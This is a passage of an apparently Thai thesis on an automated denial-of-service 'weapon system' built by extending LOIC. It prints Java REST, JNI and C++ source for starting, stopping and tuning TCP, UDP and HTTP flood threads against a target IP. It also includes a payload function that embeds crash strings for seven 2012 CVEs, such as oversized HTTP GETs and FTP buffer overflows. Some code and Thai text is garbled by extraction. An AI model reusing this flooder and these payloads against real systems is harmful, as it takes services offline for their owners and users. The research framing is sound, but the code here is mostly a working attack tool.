กระสุนได้ โดยโปรแกรมสําหรับโจมตีผ่านช่องโหว่บางตวัสามารถสกัดส่วนเนื 'อข้อมูลออกมาได้
อย่างรวดเร็วดงัภาพที* 3.2 แต่ว่าโปรแกรมสําหรับโจมตีผ่านช่องโหว่ส่วนใหญ่เป็นแบบหลายขั 'น 
(multi-step) ทั 'งลกัษณะและการสกดัเอาส่วนเนื 'อข้อมลูออกมาดงัภาพที* 3.3 ไม่ว่าอย่างไรก็ตาม
การเพิ*มบทคําสั*งซึ*งในงานวิจยันี 'นําโปรแกรมภาษาไพธอน (Python) มาพฒันาบทคําสั*งของส่วน
ควบคมุการยิงทําให้สามารถควบคมุการยิงแบบหลายขั 'นได้ 

 

 
ภาพที* 3.2 โปรแกรมสําหรับโจมตีผา่นชอ่งโหวที่*สามารถสกดักระสนุออกมาได้อยา่งรวเร็ว 
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ภาพที* 3.3 โปรแกรมสําหรับโจมตีผา่นชอ่งโหวที่*ยากตอ่การสกดัสว่นเนื 'อข้อมลูออกมา 

จากการวิเคราะห์ข้างต้นทําให้สามารถเสาะหาโปรแกรมสําหรับโจมตีผ่านช่อง
โหว่ที*สกดักระสนุได้อย่างรวดเร็วจํานวน 2 ตวั และอีก 3 ตวัที*สามารถแก้ปัญหาการยิงแบบหลาย
ขั 'น ส่วนโปรแกรมสําหรับโจมตีผ่านช่องโหว่ที*เหลือต้องอาศัยการวิเคราะห์ในเชิงลึกและแนว
ทางการทําวิจยัเพิ*มเตมิในอนาคต ไมว่า่อยา่งไรก็ตามโปรแกรมสําหรับโจมตีผ่านช่องโหว่ส่วนใหญ่
ที*โจมตีใส่เป้าหมายผ่านทางโพรโทคอลพิเศษ อย่างเช่น โพรโทคอล Stream Control 
Transmission นั 'นยงัไมร่องรับในแอลโอไอซีจงึไมส่ามารถทําการทดสอบยิงได้ระบบ  

สําหรับกระบวนการของการผลิตกระสุนแสดงได้ดงัภาพที* 3.4 ส่วนซีวีอีที*อ่อนแอ
ตอ่การโจมตีแบบปฏิเสธการใช้งานแตย่งัขาดโปรแกรมสําหรับโจมตีผ่านช่องโหว่สาธารณะ รวม
ทั 'งหมดเป็นจํานวน 1,373 ตวั ซึ*งอาจต้องอาศยัการวิเคราะห์ในเชิงลึกเพื*อทํากระสนุขึ 'นเอง ซึ*งสิ*งนี '
อาจเป็นเรื*องที*ยากและต้องอาศยัการศกึษารวมไปถึงการค้นคว้างานวิจยัเพิ*มเตมิ  

 
ภาพที* 3.4 การผลิตกระสนุ 
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บทที�  4 

การออกแบบและสร้างระบบ 

  บทนี 'กลา่วถึงรายละเอียดการออกแบบและการสร้างแตล่ะสว่น เชน่ การทํา
กระสนุ การออกแบบและสร้างสว่นควบคมุการยิง การออกแบบและตอ่เตมิแอลโอไอซี เป็นต้น 

4.1. การออกแบบและสร้างแต่ละส่วน 
สําหรับในงานวิจัยนี 'ได้ออกแบบและสร้างระบบโดยประยุกต์ใช้แนวคิดระบบ

อาวุธของทหารปืนใหญ่สนาม โดยแบ่งเป็นสองส่วนที*สําคญั คือ ส่วนควบคมุการยิง และแอลโอ
ไอซีที*ได้รับการตอ่เตมิแล้วเพื*อใช้สําหรับเป็นสว่นการยิง  

4.1.1. การออกแบบส่วนควบคุมการยงิ (Fire Control) 

ในหัวข้อนี 'จะกล่าวถึงการออกแบบคลาสไดอะแกรมสําหรับส่วนควบคมุการยิง
เพื*อไปเรียกใช้งานสว่นประสานงานเชิงฟังก์ชนัเพื*อสั*งการให้กบัแอลโอไอซี ดงัภาพที* 4.1 

 

 
ภาพที* 4.1 คลาสไดอะแกรมสําหรับสว่นควบคมุการยิง 
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4.1.2. การสร้างส่วนควบคุมการยงิ 
หวัข้อนี 'กล่าวถึงการออกแบบคลาสไดอะแกรมสําหรับส่วนควบคมุการยิงเพื*อไป

เรียกใช้งานส่วนประสานงานเชิงฟังก์ชนัที*ติดตั 'งบนเครื*องให้บริการ Apache Tomcat รุ่น 7.0.35 
และได้มีการนําเอาคลงัโปรแกรม (library) ที*ชื*อว่า Quartz รุ่น quartz-2.1.6 มาทํางานเป็น Cron 
Scheduler เพื*อชว่ยในการทําบทคําสั*งการยิงที*ถกูสร้างขึ 'นบนพื 'นฐานโปรแกรมภาษาไพธอน 

 

4.1.3. การออกแบบเพื�อต่อเตมิแอลโอไอซี (Extending LOIC) 
หัวข้อนี 'กล่าวถึงการออกแบบเพื*อต่อเติมแอลโอไอซีโดยอาศัยการต่อเติมส่วน

ประสานงานเชิงฟังก์ชนัให้กบัแอลโอไอซี ดงัภาพที* 4.2 

 
ภาพที* 4.2 คลาสไดอะแกรมการตอ่เตมิแอลโอไอซี 
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ทั 'งนี ' ในการออกแบบได้มีการคํานึงถึงฟังก์ชนัที*ใช้สําหรับการสั*งการแอลโอไอซี
เพื*อให้เป็นไปตามความเหมาะสมสําหรับการใช้งาน ในงานวิจยันี 'ได้นําเอา RESTful web API 
(หรือ RESTful web service) มาเป็นส่วนหนึ*งในการพฒันาตอ่เติมส่วนประสานงานเชิงฟังก์ชนั
เพื*อเตรียมการไว้ให้ส่วนควบคมุการยิงเข้ามาเรียกใช้งานได้ ซึ*งรายการของส่วนประสานงานเชิง
ฟังก์ชนัที*ได้ตอ่เตมิขึ 'นมานั 'นแสดงได้ดงัตารางที* 4.1 

ตารางที* 4.1 รายการของเอพีไอที*มีการตอ่เตมิให้กบัแอลโอไอซี 

 

4.1.4. การสร้างส่วนต่อเติมแอลโอไอซี 

หวัข้อนี 'กลา่วถึงการสร้างสว่นตอ่เตมิฟังก์ชนัการทํางานของแอลโอไอซีเข้าไป
เพิ*มเตมิ สําหรับงานวิจยันี 'ได้มีนําเอาแอลโอไอซีรุ่นที*พฒันาขึ 'นมาด้วยโปรแกรมภาษาซีพลสัพลสั 
(LOIQ รุ่น c++ loic 0.3 a) [27] มาเป็นเครื*องมือในการโจมตีแบบปฏิเสธการใช้งานที*นํามาแปล
โปรแกรม (compile) และติดตั 'งบนเครื*องให้บริการ JBoss รุ่น 5.1.0 GA และได้มีการนําเอาคลงั
โปรแกรมที*ชื*อว่า Jersey รุ่น 1.12 มาทําเป็น RESTful Web API เพื*อให้สามารถรับคําสั*งจากสว่น
ควบคมุการยิงได้ 

 

 
package service; 
import java.util.logging.Logger; 
import javax.servlet.http.HttpServletRequest; 
import javax.ws.rs.GET; 
import javax.ws.rs.POST; 
import javax.ws.rs.Path; 
import javax.ws.rs.Produces; 
import javax.ws.rs.core.Context; 
import javax.ws.rs.core.MediaType; 
import com.sun.jersey.spi.resource.Singleton; 
import nativeinterface.ExtendedLoicApiNative; 
 

ภาพที* 4.3 รหสัต้นฉบบั ExtendedLoicApiRESTful.java 

สว่นเอพีไอ (API) คําอธิบาย 
setFloodParameter การตั 'งคา่การทํางานให้กบัแอลโอไอซี 

startFlood สั*งให้แอลโอไอซีเริ*มยิง 
stopFlood สั*งให้แอลโอไอซีหยดุยิง 



 
 

17 

 
@Singleton 
@Path("/ExtendedLoicApiRESTful") 
public class ExtendedLoicApiRESTful { 
  
 private static Logger logger = 
Logger.getLogger(ExtendedLoicApiRESTful.class.getName()); 
  
 static { 
  System.load("/root/Desktop/workspace/Extended-
LOIC/src/ext-loic.so"); 
 } 
  
  
 private ExtendedLoicApiNative apiExtendedLoic; 
  
 public ExtendedLoicApiRESTful(){ 
  apiExtendedLoic = new ExtendedLoicApiNative(); 
   
 } 
  
  
 @GET 
 @Path("setFloodParameter") 
 @Produces(MediaType.TEXT_PLAIN) 
 public String setFloodParameter( 
   @Context HttpServletRequest request) { 
  String result = "fail\n"; 
  String delimeter = ","; 
  try{ 
   String param = request.getParameter("param"); 
   String[] params = param.split(delimeter); 
   apiExtendedLoic.setFloodParameter(params); 
             
   result = "success\n"; 
  } catch (Exception ex) { 
    
  } 
  logger.info(result); 
  return result; 
 }  
  
 @GET 
 @Path("startFlood") 
 @Produces(MediaType.TEXT_PLAIN) 
 public String startFlood() { 
  String result = ""; 
  try{ 
   result = apiExtendedLoic.startFlood(); 
   result = result.concat("\n"); 
    
  } catch (Exception ex) { 
   result = "ERROR: "+ex.getMessage(); 
                                                           result = result.concat("\n"); 
   return result; 
 

ภาพที* 4.3 รหสัต้นฉบบั ExtendedLoicApiRESTful.java (ตอ่) 
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  } 
                                       logger.info(result); 
  return result;  

                  } 
                   @GET 
 @Path("stopFlood") 
 @Produces(MediaType.TEXT_PLAIN) 
 public String stopFlood() { 
  String result = ""; 
  try{ 
   result = apiExtendedLoic.stopFlood(); 
   result = result.concat("\n"); 
    
  } catch (Exception ex) { 
   result = "ERROR: "+ex.getMessage(); 
   result = result.concat("\n"); 
   return result; 
  } 
  logger.info(result); 
  return result; 
 }  
}  

ภาพที* 4.3 รหสัต้นฉบบั ExtendedLoicApiRESTful.java (ตอ่) 
 

 
package nativeinterface; 
 
public class ExtendedLoicApiNative { 
  
 public native String setFloodParameter(String[] param); 
 public native String setTarget(); 
 public native String changeSpeed(int speedValue); 
 public native String startFlood(); 
 public native String stopFlood(); 
 
}  

ภาพที* 4.4 รหสัต้นฉบบั ExtendedLoicApiNative.java 

จะเห็นได้วา่ภาพที* 4.4 นี ' มีการประกาศ method เป็นแบบ native ไว้แล้ว จงึ
สามารถสร้างสว่นประสานงานขึ 'นมาเพื*อให้สามารถใช้งานร่วมกบัแอลโอไอซีที*พฒันาขึ 'นมาด้วย
โปรแกรมภาษาซีพลสัพลสัได้ ด้วยการเรียกใช้งานคําสั*งของ Java Native Interface ดงันี ' 

java    - jni   nativeinterface.ExtendedLoicApiNative  
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ซึ*งจากคําสั*งดงักล่าว ทําให้เราสามารถสร้างไฟล์ดงัภาพที* 4.5 ขึ 'นมาได้ เพื*อนําไป
สร้างสว่นตอ่ประสานใช้งานกบัแอลโอไอซี 
 
#include <jni.h> 
/* Header for class nativeinterface_ExtendedLoicApiNative */ 
#ifndef _Included_nativeinterface_ExtendedLoicApiNative 
#define _Included_nativeinterface_ExtendedLoicApiNative 
#ifdef __cplusplus 
extern "C" { 
#endif 
/* 
 * Class:     nativeinterface_ExtendedLoicApiNative 
 * Method:    setFloodParameter 
 * Signature: ([Ljava/lang/String;)Ljava/lang/String; 
 */ 
JNIEXPORT jstring JNICALL 
Java_nativeinterface_ExtendedLoicApiNative_setFloodParameter 
  (JNIEnv *, jobject, jobjectArray);  
/* 
 * Class:     nativeinterface_ExtendedLoicApiNative 
 * Method:    setTarget 
 * Signature: ()Ljava/lang/String; 
 */ 
JNIEXPORT jstring JNICALL 
Java_nativeinterface_ExtendedLoicApiNative_setTarget 
  (JNIEnv *, jobject);  
/* 
 * Class:     nativeinterface_ExtendedLoicApiNative 
 * Method:    changeSpeed 
 * Signature: (I)Ljava/lang/String; 
 */ 
JNIEXPORT jstring JNICALL 
Java_nativeinterface_ExtendedLoicApiNative_changeSpeed 
  (JNIEnv *, jobject, jint);  
/* 
 * Class:     nativeinterface_ExtendedLoicApiNative 
 * Method:    startFlood 
 * Signature: ()Ljava/lang/String; 
 */ 
JNIEXPORT jstring JNICALL 
Java_nativeinterface_ExtendedLoicApiNative_startFlood 
  (JNIEnv *, jobject);  
/* 
 * Class:     nativeinterface_ExtendedLoicApiNative 
 * Method:    stopFlood 
 * Signature: ()Ljava/lang/String; 
 */ 
JNIEXPORT jstring JNICALL 
Java_nativeinterface_ExtendedLoicApiNative_stopFlood 
  (JNIEnv *, jobject); 
#ifdef __cplusplus 
} 
#endif 
#endif  

ภาพที* 4.5 รหสัต้นฉบบั nativeinterface_ExtendedLoicApiNative.h 
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#include "nativeinterface_ExtendedLoicApiNative.h" 
#include "mainsynapse.h" 
#include <string> 
#include <iostream> 
 
using namespace std; 
 
static MainSynapse* ms; 
static QStringList qtrList; 
 
JNIEXPORT jstring JNICALL 
Java_nativeinterface_ExtendedLoicApiNative_setFloodParameter 
  (JNIEnv *env, jobject obj, jobjectArray param){ 
    qDebug()<<"-->In setFloodParameter()"; 
 
    ms = new MainSynapse();   // initialize object 
     
    jsize count = env->GetArrayLength(param); 
    qtrList = QStringList(); 
 
    for (int i=0;i<count;i++) { 
       jstring jstr = (jstring) env->GetObjectArrayElement(param,i); 
       const char *pChr = env->GetStringUTFChars(jstr,NULL); 
       std::string cstr = (std::string) pChr; 
       QString qstr = QString::fromStdString(cstr); 
       qtrList.append(qstr); 
    } 
 
    QString result = ms->setFloodParameter(qtrList);  
    const char *buf = result.toStdString().c_str(); 
 
 
    return env->NewStringUTF(buf); 
} 
JNIEXPORT jstring JNICALL 
Java_nativeinterface_ExtendedLoicApiNative_setTarget 
  (JNIEnv *env, jobject obj){ 
    qDebug()<<"-->In setTarget()"; 
 
    const char *buf = ""; 
    if (ms!=NULL) { 
       QString result = ms->setTarget();  
       buf = result.toStdString().c_str(); 
    } else { 
       QString result = "Please setFloodParameter."; 
       buf = result.toStdString().c_str(); 
    } 
 
    return env->NewStringUTF(buf); 
} 
JNIEXPORT jstring JNICALL 
Java_nativeinterface_ExtendedLoicApiNative_changeSpeed 
  (JNIEnv *env, jobject obj, jint speedValue){ 
    qDebug()<<"-->In changeSpeed()"; 
 

ภาพที* 4.6 รหสัต้นฉบบั nativeinterface_ExtendedLoicApiNative.cpp 
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    const char *buf = ""; 
    if (ms!=NULL) { 
       int iSpeedValue = (int) speedValue;   
       QString result = ms->changeSpeed(iSpeedValue);  
       buf = result.toStdString().c_str(); 
    } else { 
       QString result = "Please setFloodParameter."; 
       buf = result.toStdString().c_str(); 
    } 
 
    return env->NewStringUTF(buf); 
} 
JNIEXPORT jstring JNICALL 
Java_nativeinterface_ExtendedLoicApiNative_startFlood 
  (JNIEnv *env, jobject obj){ 
    qDebug()<<"-->In startFlood()"; 
 
    const char *buf = ""; 
    if (ms!=NULL) { 
       QString result = ms->startFlood();  
       buf = result.toStdString().c_str(); 
    } else { 
       QString result = "Please setFloodParameter."; 
       buf = result.toStdString().c_str(); 
    } 
     
    return env->NewStringUTF(buf); 
} 
JNIEXPORT jstring JNICALL 
Java_nativeinterface_ExtendedLoicApiNative_stopFlood 
  (JNIEnv *env, jobject obj){ 
    qDebug()<<"-->In stopFlood()"; 
 
    const char *buf = ""; 
    if (ms!=NULL) { 
       QString result = ms->stopFlood();  
       buf = result.toStdString().c_str(); 
    } else { 
       QString result = "Please setFloodParameter."; 
       buf = result.toStdString().c_str(); 
    } 
     
    return env->NewStringUTF(buf); 
 
}  

ภาพที* 4.6 รหสัต้นฉบบั nativeinterface_ExtendedLoicApiNative.cpp (ตอ่) 
 

 
#include <QtCore/QObject> 
#include <QtCore/QtDebug> 
#include <vector> 
 

ภาพที* 4.7 รหสัต้นฉบบั mainsynapse.h 
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#include <QtNetwork/QHostInfo> 
#include <QtCore/QEvent> 
#include <QtCore/QRegExp> 
#include <QtCore/QTimer> 
#include "xppflooder.h" 
#include "httpflooder.h" 
#include <fstream> 
 
#include <sys/types.h> 
#include <sys/socket.h> 
#include <netinet/in.h> 
#include <arpa/inet.h> 
#include <netdb.h> 
#include <iostream> 
#include <cstring> 
#include <string> 
 
 
#ifndef MAINSYNAPSE_H 
#define MAINSYNAPSE_H 
 
 
#define POLLING_FREQ 333 
 
 
 
class MainSynapse : public QObject 
{ 
 
 
public : 
    MainSynapse(); 
 
    // API commands 
    QString setFloodParameter(QStringList parameters); 
    QString startFlood(); 
    QString stopFlood(); 
 
 
private: 
    QString payloadConstruct(QString cveno); 
 
private: 
    std::vector<xppflooder*> threads; 
    std::vector<httpflooder*> threads_h; 
    quint32 timer; 
    QString Protocol; 
    bool active; 
    void clear_stats(); 
    quint64 active_time; 
    quint64 floodcount; 
 
    quint64 Requested; 
    quint64 Failed; 
    quint64 Downloaded; 
 

ภาพที* 4.7 รหสัต้นฉบบั mainsynapse.h (ตอ่) 
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    quint32 Status_idle; 
    quint32 Status_connecting; 
    quint32 Status_requesting; 
    quint32 Status_downloading; 
 
    // Parameters 
    QString URL_field; 
    QString IP_field; 
    QString Target_field; 
    QString TCP_UDP_Message_field; 
    QString CVE_ID;//CVE ID. 
    QString Payload;//Bullet 
    QString Port_field; 
    QString Method_Protocol_field;//TCP, UDP, HTTP 
    QString Threads_field;//Rounds 
    quint32 Speed_Delay;// 0-Faster, 99-Slower  (milisecond) 
    QString Timeout_field; 
    bool    Wait_for_response; 
    QString HTTP_subsite_field; 
 
}; 
 
#endif // MAINSYNAPSE_H  

ภาพที* 4.7 รหสัต้นฉบบั mainsynapse.h (ตอ่) 
 

 
#include "mainsynapse.h" 
 
 
MainSynapse::MainSynapse() 
{ 
    active = false; 
 
    IP_field = ""; 
    URL_field = ""; 
    Timeout_field = "9999"; 
    HTTP_subsite_field = "/"; 
    TCP_UDP_Message_field = "A Cat Is Fine Too"; 
    CVE_ID = ""; 
    Payload = ""; 
            Port_field = "80"; 
    Method_Protocol_field = "TCP"; 
            Threads_field = "10"; 
    Wait_for_response = false; 
            Speed_Delay = 0; 
} 
 
// 
// Set Parameters 
// 
QString MainSynapse::setFloodParameter(QStringList parameters){ 
 

ภาพที* 4.8 รหสัต้นฉบบั mainsynapse.cpp 
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QString result = "INFO: Set flood parameters success."; 
    if (!parameters.isEmpty()) 
    { 
        QStringList::Iterator it; 
 
        for (it = parameters.begin(); it != parameters.end(); it++) { 
 
            QStringList pair = it->split("="); 
            pair[0].remove(QRegExp(" ")); 
 
            if (pair.size() > 1) 
                pair[1].remove(QRegExp(" ")); 
 
            if (pair[0] == "target_ip") { 
                IP_field = pair[1].trimmed(); 
            } else if (pair[0] == "targethost") { 
                URL_field = pair[1].trimmed(); 
            } else if (pair[0] == "subsite") { 
                HTTP_subsite_field = pair[1].trimmed(); 
            } else if (pair[0] == "message") { 
                TCP_UDP_Message_field = pair[1]; 
            } else if (pair[0] == "port") { 
                Port_field = pair[1].trimmed(); 
            } else if (pair[0] == "protocol") { 
                Method_Protocol_field = pair[1].trimmed().toUpper(); 
            } else if (pair[0] == "rounds") { 
                Threads_field = pair[1].trimmed(); 
            } else if (pair[0] == "wait") { 
                if (pair[1].trimmed().toLower() == "true") 
                { 
                    Wait_for_response = true; 
                } else if (pair[1].trimmed().toLower() == "false") { 
                    Wait_for_response = false; 
                } 
            } else if (pair[0] == "speed") { 
                Speed_Delay = pair[1].trimmed().toInt(); 
            } 
            else if (pair[0] == "cve_id") { 
                CVE_ID = pair[1].trimmed(); 
                Payload = this->payloadConstruct(CVE_ID); 
            } else if (pair[0] == "default") { 
                // By default 
                IP_field = ""; 
                URL_field = ""; 
                Timeout_field = "9999"; 
                HTTP_subsite_field = "/"; 
                TCP_UDP_Message_field = "A Cat Is Fine Too"; 
                Port_field = 80; 
                Method_Protocol_field = "TCP"; 
                Threads_field = "10"; 
                Wait_for_response = false; 
                Speed_Delay = 0; 
 
            } else { 
                result = "ERROR: Some invalid parameters error."; 
 

ภาพที* 4.8 รหสัต้นฉบบั mainsynapse.cpp (ตอ่) 
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                qDebug() << result << endl; 
                return result; 
            } 
        } 
    } else { 
        result = "ERROR: No parameters provided."; 
        qDebug() << result << endl; 
        return result; 
    } 
    return result; 
} 
// 
// Initialize packet generator 

// 
QString MainSynapse::startFlood() 
{ 
    QString result = "INFO: Flooding packets success."; 
    if (not active) { 
 
        if (IP_field.isEmpty()) { 
            result = "ERROR: No target selected."; 
            qDebug() << result << endl; 
            return result; 
        } 
        clear_stats(); 
        floodcount = 0; 
        Target_field = IP_field; 
 
        qDebug() << "MainSynapse::CVE ID:" << CVE_ID << endl; 
        qDebug() << "MainSynapse::Rounds:" << Threads_field << endl; 
        qDebug() << "MainSynapse::Method:" << Method_Protocol_field 
<< endl; 
        qDebug() << "MainSynapse::Port:" << Port_field << endl; 
        qDebug() << "MainSynapse::IP:" << Target_field << endl; 
        qDebug() << "MainSynapse::Payload:" << Payload << endl; 
 
 
        qint 32 max = Threads_field.toInt()+ 1;// 1st round is the 

initial of object. 
        for (qint 32 i = 0; i < max; i++) { 

 
            if (Method_Protocol_field == "HTTP") { 
                threads_h.push_back(new httpflooder ( 
                                        Target_field, 
                                        Port_field.toInt(), 
                                        Method_Protocol_field, 
                                        Speed_Delay, 
                                        Timeout_field.toInt(), 
                                        Wait_for_response, 
                                        Payload 
                                                                                                                                  )); 
                threads_h.at(i)->start(); 
 
 

ภาพที* 4.8 รหสัต้นฉบบั mainsynapse.cpp (ตอ่) 
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            } 
            else if (Method_Protocol_field == "TCP" || 
Method_Protocol_field == "UDP") { 
                threads.push_back(new xppflooder ( 
                                      Target_field, 
                                      Port_field.toInt(), 
                                      Method_Protocol_field, 
                                      Speed_Delay, 
                                      Timeout_field.toInt(), 
                                      Wait_for_response, 
                                      Payload 
                                                                                                                          )); 
                threads.at(i)->start(); 
            } 
        } 
        active = true; 
        active_time = 0; 
        stopFlood(); 
    } 
} 
// 
// Stopping packet generator 

// 
QString MainSynapse::stopFlood() 
{ 
    QString result = "INFO: Stop the flooding packets success"; 
    if (active) { 
        killTimer(timer); 
        qDebug() << "Stopping the flood..." << endl; 
 
        qint 32 max = Threads_field.toInt()+ 1; 
        for (qint 32 i = 0; i < max; i++) { 

            if (Method_Protocol_field == "HTTP") { 
                httpflooder *fld_h = threads_h.back(); 
                fld_h->stop(); 
                fld_h->wait(); 
                delete fld_h; 
                threads_h.pop_back(); 
            } else { 
                xppflooder *fld = threads.back(); 
                fld->stop(); 
                fld->wait(); 
                delete fld; 
                threads.pop_back(); 
            } 
        } 
 
        qDebug() << "Ion cannon [Stopped]" << endl; 
        Target_field = "NONE"; 
        active = false; 
             ,} 
    Return result; 
} 
 

ภาพที* 4.8 รหสัต้นฉบบั mainsynapse.cpp (ตอ่) 
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QString MainSynapse::payloadConstruct(QString cveID){ 
    QString bullet = ""; 
 
    QStringList CVE_LIST; 
    CVE_LIST.append("CVE-2012-5533"); 
    CVE_LIST.append("CVE-2012-1783"); 
    CVE_LIST.append("CVE-2012-5329"); 
    CVE_LIST.append("CVE-2012-5905"); 
    CVE_LIST.append("CVE-2012-3845"); 
    CVE_LIST.append("CVE-2012-0292"); 
    CVE_LIST.append("CVE-2012-6050"); 
 
 
    switch (CVE_LIST.indexOf(cveID)) 
    { 
    case 0: 
        bullet = "GET / HTTP/1.1\r\nHost: pwn.ed\r\nConnection: 
TE,,Keep-Alive\r\n\r\n"; 
        break; 
    case 1: 
        bullet = "GET 
/XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX HTTP/1.0\n\n\n"; 
        break; 
    case 2: 
        bullet = "USER anonymous\r\nPASS anonymous\r\nAPPE  
A../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n"; 
        break; 
    case 3: 
        bullet = "USER system\r\nPASS 
secret\r\n./A./A./A./A./A./A./A./A./A./A./A./A./A./A./A./A./A./A./A./
A./A./A./A./A./A./A./A./A./A./A./A./A./A./A./A./A./A./A./A./A./A./A./
A./A./A./A./A./A./A./A./A./A./A./A./A./A./A./A./A./A./A./A./A./A./A./
A./A./A./A./A./A./A./A./A./A./A./A./A./A./A./A./A./A./A./A./A./A./A./
A./A./A./A./A./A\r\n"; 
        break; 
    case 4:        
bullet.append("MSGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
 

ภาพที* 4.8 รหสัต้นฉบบั mainsynapse.cpp (ตอ่) 
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ภาพที* 4.8 รหสัต้นฉบบั mainsynapse.cpp (ตอ่) 
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"); 
        break; 
    case 5: 
        bullet.append("....o..ob............ob............"); 
        break; 
    case 6: 
        bullet.append("\x 12\x 02roteros.dll\x 00\xFF\xED\x 00\x 00 
\xFF\xED"); 
        break; 
    } 
    return bullet; 
} 
 

ภาพที* 4.8 รหสัต้นฉบบั mainsynapse.cpp (ตอ่) 
 

 
#include <iostream> 
#include <QtCore/QThread> 
#include <QtCore/QString> 
#include <QtGui/QApplication> 
#include <QtNetwork/QTcpSocket> 
#include <QtNetwork/QUdpSocket> 
#include <QtNetwork> 
#include <fstream>  
#ifndef HTTPFLOODER_H_1285973835 
#define HTTPFLOODER_H_1285973835 
 
enum thread_state { idle, connecting, requesting, downloading };  
class httpflooder : public QThread 
{  
public: 
    volatile quint64 FloodCount; 
    volatile quint64 Downloaded; 
    volatile quint64 Requested; 
    volatile quint64 Failed; 
    QString IP; 
    quint32 Port; 
    QString Protocol; 
    quint32 Delay; 
    quint32 Timeout; 
    bool Response; 
    QString Subsite; 
    httpflooder(QString ip, quint32 port, QString protocol, quint32 
delay, quint32 timeout, bool resp, QString subsite); 
    void stop(); 
    volatile thread_state Status; 
protected: 
    void run(); 
private: 
    volatile bool active; 
}; 
#endif  

ภาพที* 4.9 รหสัต้นฉบบั httpflooder.h 
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#include "httpflooder.h" 
 
 
httpflooder::httpflooder(QString ip, quint32 port, QString protocol, 
quint32 delay, quint32 timeout, bool resp, QString subsite) 
{ 
    active = true; 
    IP = ip; 
    Port = port; 
    Protocol = protocol; 
    Delay = delay; 
    Timeout = timeout; 
    Response = resp; 
    Subsite = subsite; 
    FloodCount = 0; 
    Requested = 0; 
    Downloaded = 0; 
    Failed = 0; 
    Status = idle; 
} 
 
// 
// Start the HTTP request generator 
// 
void httpflooder::run() 
{ 
    while (active) { 
 
        qDebug() << "httpflooder::Protocol:" << Protocol << endl; 
        qDebug() << "httpflooder::IP:" << IP << endl; 
        qDebug() << "httpflooder::Port:" << QString::number(Port) << 
endl; 
 
            QHostAddress *addr = new QHostAddress(IP); 
            QTcpSocket *Socket = new QTcpSocket; 
            Socket->connectToHost(*addr, Port); 
 
            Status = connecting; 
 
            if (!Socket->waitForConnected(Timeout)) { 
                Socket->close(); 
                delete addr; 
                delete Socket; 
                Failed++; 
                continue; 
                  } 
 
            qint64 errcode = 0; 
 
            Status = requesting; 
 
            QString Data = Subsite; 
            qDebug() << "httpflooder::Data:" << Data << endl; 
   qDebug() << "httpflooder::rounds at:" << 
QString::number(Requested); 
 

ภาพที* 4.10 รหสัต้นฉบบั httpflooder.cpp 
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            errcode = Socket->write(Data.toUtf8(), 
Data.toUtf8().size()); 
            Socket->flush(); 
            if (errcode == -1) { 
                Failed++; 
            } else { 
                Requested++; 
            } 
 
            if (Response) { 
 
                Status = downloading; 
 
                if (!Socket->waitForReadyRead(Timeout)) { 
                    Failed++; 
                    Socket->close(); 
                    delete addr; 
                    delete Socket; 
                    continue; 
                } else { 
 
                    Socket->read ( 128 ); 
                    Downloaded++; 
                    this->msleep(Delay); 
 
                } 
 
            } else { 
 
                Socket->abort(); 
 
            } 
 
 
            Socket->close(); 
            delete addr; 
            delete Socket; 
                Status = idle; 
            this->msleep(Delay); 
 
 
    } 
    active = true; 
} 
 
// 
// Change the thread's state to inactive 
// 
void httpflooder::stop() 
{ 
    active = false; 
} 
 
 

ภาพที* 4.10 รหสัต้นฉบบั httpflooder.cpp (ตอ่) 
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#include <iostream> 
#include <QtCore/QThread> 
#include <QtCore/QString> 
#include <QtGui/QApplication> 
#include <QtNetwork/QTcpSocket> 
#include <QtNetwork/QUdpSocket> 
#include <QtNetwork> 
 
 
#include <QtCore/QByteArray> 
#include <string> 
 
 
#ifndef XPPFLOODER_H_1285891192 
#define XPPFLOODER_H_1285891192 
 
class xppflooder : public QThread 
{ 
 
 
public: 
    volatile quint64 FloodCount; 
    volatile quint64 Failed; 
    QString IP; 
    quint32 Port; 
